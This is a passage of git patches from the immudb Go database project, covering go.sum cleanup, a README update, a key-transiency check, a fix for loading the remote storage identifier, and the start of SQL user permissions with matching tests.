h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= @@ -2477,7 +868,6 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -2488,62 +878,6 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= -lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.37.0/go.mod h1:vtL+3mdHx/wcj3iEGz84rQa8vEqR6XM84v5Lcvfph20= -modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= -modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= -modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= -modernc.org/ccgo/v3 v3.0.0-20220904174949-82d86e1b6d56/go.mod h1:YSXjPL62P2AMSxBphRHPn7IkzhVHqkvOnRKAKh+W6ZI= -modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= -modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= -modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g= -modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= -modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= -modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= -modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= -modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= -modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= -modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= -modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= -modernc.org/libc v1.17.4/go.mod h1:WNg2ZH56rDEwdropAJeZPQkXmDwh+JCA1s/htl6r2fA= -modernc.org/libc v1.18.0/go.mod h1:vj6zehR5bfc98ipowQOM2nIDUZnVew/wNC/2tOGS+q0= -modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0= -modernc.org/libc v1.21.4/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI= -modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= -modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.3.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= -modernc.org/sqlite v1.18.2/go.mod h1:kvrTLEWgxUcHa2GfHBQtanR1H9ht3hTJNtKpzH9k1u0= -modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= -modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= -modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= -modernc.org/tcl v1.13.2/go.mod h1:7CLiGIPo1M8Rv1Mitpv5akc2+8fxUd2y2UzC/MfMzy0= -modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= -moul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE= -nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From 68c7d59cdc9dd9cf345e516b7e9adccb1a294fbd Mon Sep 17 00:00:00 2001 From: moshix Date: Mon, 15 Jul 2024 04:00:58 -0500 Subject: [PATCH 1036/1062] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6cd0ac3b7d..e616e06adb 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md Don't forget to ⭐ this repo if you like immudb! -[:tada: 23M pulls from docker hub!](https://hub.docker.com/r/codenotary) +[:tada: 27M pulls from docker hub!](https://hub.docker.com/r/codenotary) --- @@ -40,7 +40,7 @@ Traditional database transactions and logs are mutable, and therefore there is n Data stored in immudb is cryptographically coherent and verifiable. Unlike blockchains, immudb can handle millions of transactions per second, and can be used both as a lightweight service or embedded in your application as a library. immudb runs everywhere, on an IoT device, your notebook, a server, on-premise or in the cloud. -immudb can be used as a key-value store or relational data structure and supports both transactions and blobs, so there are no limits to the use cases. Companies use immudb to secure and tamper-evident log data, sensor data, sensitive data, transactions, software build recipes, rule-base data, even artifacts and even video streams. [Examples of organizations using immudb today.](https://www.immudb.io) +When used as a relational data database, it supports both transactions and blobs, so there are no limits to the use cases. Developers and organizations use immudb to secure and tamper-evident log data, sensor data, sensitive data, transactions, software build recipes, rule-base data, artifacts and even video streams. [Examples of organizations using immudb today.](https://www.immudb.io) ## Contents From 10ad00566d1d192bcb55f4ade968f7d76b372247 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 22 Jul 2024 15:03:53 +0200 Subject: [PATCH 1037/1062] Prohibite changing transiency of keys --- embedded/store/immustore.go | 1 + embedded/store/ongoing_tx.go | 9 +++++++-- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index e7ad6a04c3..64970c4f27 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -61,6 +61,7 @@ var ErrMaxKeyLenExceeded = errors.New("max key length exceeded") var ErrMaxValueLenExceeded = errors.New("max value length exceeded") var ErrPreconditionFailed = errors.New("precondition failed") var ErrDuplicatedKey = errors.New("duplicated key") +var ErrCannotUpdateKeyTransiency = errors.New("cannot change a non-transient key to transient or vice versa") var ErrMaxActiveTransactionsLimitExceeded = errors.New("max active transactions limit exceeded") var ErrMVCCReadSetLimitExceeded = errors.New("MVCC read-set limit exceeded") var ErrMaxConcurrencyLimitExceeded = errors.New("max concurrency limit exceeded") diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index b4a1b6d041..08c983ccfc 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -262,11 +262,17 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh kid := sha256.Sum256(key) keyRef, isKeyUpdate := tx.entriesByKey[kid] - if !isKeyUpdate && len(tx.entries) > tx.st.maxTxEntries { return ErrMaxTxEntriesLimitExceeded } + _, wasTransient := tx.transientEntries[keyRef] + if isKeyUpdate { + if wasTransient != isTransient { + return ErrCannotUpdateKeyTransiency + } + } + e := &EntrySpec{ Key: key, Metadata: md, @@ -343,7 +349,6 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh tx.entries[keyRef] = e } } else { - if isTransient { tx.transientEntries[len(tx.entriesByKey)] = e tx.entriesByKey[kid] = len(tx.entriesByKey) From 3eec9d408a476074b5e5584097417f4b0da46978 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Wed, 24 Jul 2024 13:31:35 +0200 Subject: [PATCH 1038/1062] Fix startup failure when remote identifier is not present Signed-off-by: Stefano Scafiti --- pkg/server/remote_storage.go | 99 ++++++++++++++++++------------- pkg/server/remote_storage_test.go | 22 +++++-- 2 files changed, 73 insertions(+), 48 deletions(-) diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index 6341d05bfe..36795a10dc 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -19,7 +19,7 @@ package server import ( "bytes" "context" - "io/ioutil" + "io" "os" "path/filepath" "strings" @@ -75,67 +75,82 @@ func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) erro return nil } - ctx := context.Background() + if s.Options.RemoteStorageOptions.S3ExternalIdentifier { + if err := s.loadRemoteIdentifier(context.Background(), storage); err != nil { + return err + } + } + return s.createRemoteSubFolders(storage) +} - hasRemoteIdentifier, err := storage.Exists(ctx, IDENTIFIER_FNAME) +func (s *ImmuServer) createRemoteSubFolders(storage remotestorage.Storage) error { + _, subFolders, err := storage.ListEntries(context.Background(), "") if err != nil { return err } - if !hasRemoteIdentifier && s.Options.RemoteStorageOptions.S3ExternalIdentifier { - return ErrNoRemoteIdentifier - } - - localIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME) - - if hasRemoteIdentifier { - remoteIDStream, err := storage.Get(ctx, IDENTIFIER_FNAME, 0, -1) - if err != nil { - return err - } - remoteID, err := ioutil.ReadAll(remoteIDStream) - remoteIDStream.Close() + for _, subFolder := range subFolders { + err := os.MkdirAll( + filepath.Join(s.Options.Dir, subFolder), + store.DefaultFileMode, + ) if err != nil { return err } + } + return nil +} - if !fileExists(localIdentifierFile) { - err := ioutil.WriteFile(localIdentifierFile, remoteID, os.ModePerm) - if err != nil { - return err - } - s.UUID, err = xid.FromBytes(remoteID) - if err != nil { - return err - } - } else { - localID, err := ioutil.ReadFile(localIdentifierFile) - if err != nil { - return err - } +func (s *ImmuServer) loadRemoteIdentifier(ctx context.Context, storage remotestorage.Storage) error { + hasRemoteIdentifier, err := storage.Exists(ctx, IDENTIFIER_FNAME) + if err != nil { + return err + } - if !bytes.Equal(remoteID, localID) { - return ErrRemoteStorageDoesNotMatch - } - } + if !hasRemoteIdentifier { + return s.initRemoteIdentifier(ctx, storage) } - // Ensure all sub-folders are created, init code relies on this - _, subFolders, err := storage.ListEntries(context.Background(), "") + remoteIDStream, err := storage.Get(ctx, IDENTIFIER_FNAME, 0, -1) if err != nil { return err } - for _, subFolder := range subFolders { - err := os.MkdirAll( - filepath.Join(s.Options.Dir, subFolder), - store.DefaultFileMode, - ) + + remoteID, err := io.ReadAll(remoteIDStream) + remoteIDStream.Close() + if err != nil { + return err + } + + localIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME) + if fileExists(localIdentifierFile) { + localID, err := os.ReadFile(localIdentifierFile) if err != nil { return err } + + if !bytes.Equal(remoteID, localID) { + return ErrRemoteStorageDoesNotMatch + } + return nil } - return nil + if err := os.WriteFile(localIdentifierFile, remoteID, os.ModePerm); err != nil { + return err + } + + s.UUID, err = xid.FromBytes(remoteID) + return err +} + +func (s *ImmuServer) initRemoteIdentifier(ctx context.Context, storage remotestorage.Storage) error { + localIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME) + + s.UUID = xid.New() + if err := os.WriteFile(localIdentifierFile, s.UUID.Bytes(), os.ModePerm); err != nil { + return err + } + return storage.Put(ctx, IDENTIFIER_FNAME, localIdentifierFile) } func (s *ImmuServer) updateRemoteUUID(remoteStorage remotestorage.Storage) error { diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 344068f992..d3918de1a0 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -175,7 +175,8 @@ func TestInitializeRemoteStorageEmptyRemoteStorage(t *testing.T) { func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnExists(t *testing.T) { dir := t.TempDir() - opts := DefaultOptions().WithDir(dir) + remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) + opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() @@ -190,7 +191,7 @@ func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnExists(t *testing.T) { } err := s.initializeRemoteStorage(mem) - require.True(t, errors.Is(err, injectedErr)) + require.ErrorIs(t, err, injectedErr) } func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnListEntries(t *testing.T) { @@ -217,7 +218,8 @@ func TestInitializeRemoteStorageEmptyRemoteStorageErrorOnListEntries(t *testing. func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { dir := t.TempDir() - opts := DefaultOptions().WithDir(dir) + remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) + opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() @@ -301,7 +303,8 @@ func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { dir := t.TempDir() - opts := DefaultOptions().WithDir(dir) + remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) + opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() @@ -324,7 +327,12 @@ func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { func TestInitializeRemoteStorageDownloadIdentifierErrorOnStore(t *testing.T) { require.NoError(t, os.MkdirAll(filepath.Join(t.TempDir(), "data_uuiderr", "immudb.identifier"), 0777)) + remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) + opts := DefaultOptions().WithRemoteStorageOptions(remoteStorageOpts) + s := DefaultServer() + s.WithOptions(opts) + m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) err := s.initializeRemoteStorage(m) @@ -342,7 +350,8 @@ func (e errReader) Read([]byte) (int, error) { func TestInitializeRemoteStorageDownloadIdentifierErrorOnRead(t *testing.T) { dir := t.TempDir() - opts := DefaultOptions().WithDir(dir) + remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) + opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() @@ -365,7 +374,8 @@ func TestInitializeRemoteStorageDownloadIdentifierErrorOnRead(t *testing.T) { func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { dir := t.TempDir() - opts := DefaultOptions().WithDir(dir) + remoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true) + opts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts) s := DefaultServer() From c189283793ad5dc3c9b6e12210f90f48b6ae5911 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Tue, 23 Jul 2024 11:45:15 +0200 Subject: [PATCH 1039/1062] Implement SQL permissions Signed-off-by: Stefano Scafiti --- embedded/sql/dummy_data_source_test.go | 8 + embedded/sql/engine.go | 58 +- embedded/sql/engine_test.go | 144 +- embedded/sql/parser.go | 5 + embedded/sql/parser_test.go | 63 + embedded/sql/sql_grammar.y | 84 +- embedded/sql/sql_parser.go | 950 ++--- embedded/sql/stmt.go | 393 +- embedded/sql/stmt_test.go | 137 + pkg/api/schema/docs.md | 51 + pkg/api/schema/schema.pb.go | 4587 +++++++++++++----------- pkg/api/schema/schema.pb.gw.go | 81 + pkg/api/schema/schema.proto | 37 + pkg/api/schema/schema.swagger.json | 80 + pkg/api/schema/schema_grpc.pb.go | 36 + pkg/api/schema/sql.go | 41 + pkg/auth/user.go | 61 +- pkg/database/database_test.go | 26 + pkg/server/multidb_handler.go | 110 +- pkg/server/server_test.go | 4 +- pkg/server/servertest/server_mock.go | 4 + pkg/server/user.go | 233 +- pkg/server/user_test.go | 119 + 23 files changed, 4579 insertions(+), 2733 deletions(-) diff --git a/embedded/sql/dummy_data_source_test.go b/embedded/sql/dummy_data_source_test.go index 332c1fe036..cb37af3844 100644 --- a/embedded/sql/dummy_data_source_test.go +++ b/embedded/sql/dummy_data_source_test.go @@ -25,6 +25,14 @@ type dummyDataSource struct { AliasFunc func() string } +func (d *dummyDataSource) readOnly() bool { + return true +} + +func (d *dummyDataSource) requiredPrivileges() []SQLPrivilege { + return []SQLPrivilege{SQLPrivilegeSelect} +} + func (d *dummyDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index b7bd51e39d..882a8c7f2b 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -96,6 +96,7 @@ var ( ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") ErrCannotIndexJson = errors.New("cannot index column of type JSON") ErrInvalidTxMetadata = errors.New("invalid transaction metadata") + ErrAccessDenied = errors.New("access denied") ) var MaxKeyLen = 512 @@ -123,16 +124,20 @@ type MultiDBHandler interface { ListDatabases(ctx context.Context) ([]string, error) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error UseDatabase(ctx context.Context, db string) error + GetLoggedUser(ctx context.Context) (User, error) ListUsers(ctx context.Context) ([]User, error) CreateUser(ctx context.Context, username, password string, permission Permission) error AlterUser(ctx context.Context, username, password string, permission Permission) error + GrantSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error + RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error DropUser(ctx context.Context, username string) error ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } type User interface { Username() string - Permission() uint32 + Permission() Permission + SQLPrivileges() []SQLPrivilege } func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { @@ -475,6 +480,13 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } } + if e.multidbHandler != nil { + if err := e.checkUserPermissions(ctx, stmt); err != nil { + currTx.Cancel() + return nil, committedTxs, stmts[execStmts:], err + } + } + ntx, err := stmt.execAt(ctx, currTx, nparams) if err != nil { currTx.Cancel() @@ -517,6 +529,44 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt return currTx, committedTxs, stmts[execStmts:], nil } +func (e *Engine) checkUserPermissions(ctx context.Context, stmt SQLStmt) error { + user, err := e.multidbHandler.GetLoggedUser(ctx) + if err != nil { + return err + } + + if user.Permission() == PermissionAdmin { + return nil + } + + if !stmt.readOnly() && user.Permission() == PermissionReadOnly { + return ErrAccessDenied + } + + requiredPrivileges := stmt.requiredPrivileges() + if !hasAllPrivileges(user.SQLPrivileges(), requiredPrivileges) { + return fmt.Errorf("%w: statement requires %v privileges", ErrAccessDenied, requiredPrivileges) + } + return nil +} + +func hasAllPrivileges(userPrivileges, privileges []SQLPrivilege) bool { + for _, p := range privileges { + has := false + for _, up := range userPrivileges { + if up == p { + has = true + break + } + } + + if !has { + return false + } + } + return true +} + func (e *Engine) queryAll(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) ([]*Row, error) { reader, err := e.Query(ctx, tx, sql, params) if err != nil { @@ -568,6 +618,12 @@ func (e *Engine) QueryPreparedStmt(ctx context.Context, tx *SQLTx, stmt DataSour return nil, err } + if e.multidbHandler != nil { + if err := e.checkUserPermissions(ctx, stmt); err != nil { + return nil, err + } + } + _, err = stmt.execAt(ctx, qtx, nparams) if err != nil { return nil, err diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 2b47d77eb9..ee07507f6b 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -7089,7 +7089,12 @@ func TestMultiDBCatalogQueries(t *testing.T) { defer closeStore(t, st) dbs := []string{"db1", "db2"} - handler := &multidbHandlerMock{} + handler := &multidbHandlerMock{ + user: &mockUser{ + username: "user", + sqlPrivileges: allPrivileges, + }, + } opts := DefaultOptions(). WithPrefix(sqlPrefix). @@ -7130,6 +7135,13 @@ func TestMultiDBCatalogQueries(t *testing.T) { `, nil) require.ErrorIs(t, err, ErrNonTransactionalStmt) + _, _, err = engine.Exec(context.Background(), nil, ` + BEGIN TRANSACTION; + GRANT ALL PRIVILEGES ON DATABASE defaultdb TO USER myuser; + COMMIT; + `, nil) + require.ErrorIs(t, err, ErrNonTransactionalStmt) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.ErrorIs(t, err, ErrNoSupported) @@ -7185,23 +7197,19 @@ func TestMultiDBCatalogQueries(t *testing.T) { }) t.Run("show users", func(t *testing.T) { - r, err := engine.Query(context.Background(), nil, "SHOW USERS", nil) + rows, err := engine.queryAll(context.Background(), nil, "SHOW USERS", nil) require.NoError(t, err) + require.Len(t, rows, 1) - defer r.Close() - - _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrNoMoreRows) + require.Equal(t, "user", rows[0].ValuesByPosition[0].RawValue()) }) t.Run("list users", func(t *testing.T) { - r, err := engine.Query(context.Background(), nil, "SELECT * FROM USERS()", nil) + rows, err := engine.queryAll(context.Background(), nil, "SELECT * FROM USERS()", nil) require.NoError(t, err) + require.Len(t, rows, 1) - defer r.Close() - - _, err = r.Read(context.Background()) - require.ErrorIs(t, err, ErrNoMoreRows) + require.Equal(t, "user", rows[0].ValuesByPosition[0].RawValue()) }) t.Run("query databases using conditions with table and column aliasing", func(t *testing.T) { @@ -7225,8 +7233,27 @@ func TestMultiDBCatalogQueries(t *testing.T) { }) } +type mockUser struct { + username string + permission Permission + sqlPrivileges []SQLPrivilege +} + +func (u *mockUser) Username() string { + return u.username +} + +func (u *mockUser) Permission() Permission { + return u.permission +} + +func (u *mockUser) SQLPrivileges() []SQLPrivilege { + return u.sqlPrivileges +} + type multidbHandlerMock struct { dbs []string + user *mockUser engine *Engine } @@ -7238,12 +7265,27 @@ func (h *multidbHandlerMock) CreateDatabase(ctx context.Context, db string, ifNo return ErrNoSupported } +func (h *multidbHandlerMock) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error { + return ErrNoSupported +} + +func (h *multidbHandlerMock) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error { + return ErrNoSupported +} + func (h *multidbHandlerMock) UseDatabase(ctx context.Context, db string) error { return nil } +func (h *multidbHandlerMock) GetLoggedUser(ctx context.Context) (User, error) { + if h.user == nil { + return nil, fmt.Errorf("no logged user") + } + return h.user, nil +} + func (h *multidbHandlerMock) ListUsers(ctx context.Context) ([]User, error) { - return nil, nil + return []User{h.user}, nil } func (h *multidbHandlerMock) CreateUser(ctx context.Context, username, password string, permission Permission) error { @@ -8728,3 +8770,81 @@ func TestQueryTxMetadata(t *testing.T) { ) require.ErrorIs(t, err, ErrInvalidTxMetadata) } + +func TestGrantSQLPrivileges(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) + require.NoError(t, err) + defer closeStore(t, st) + + dbs := 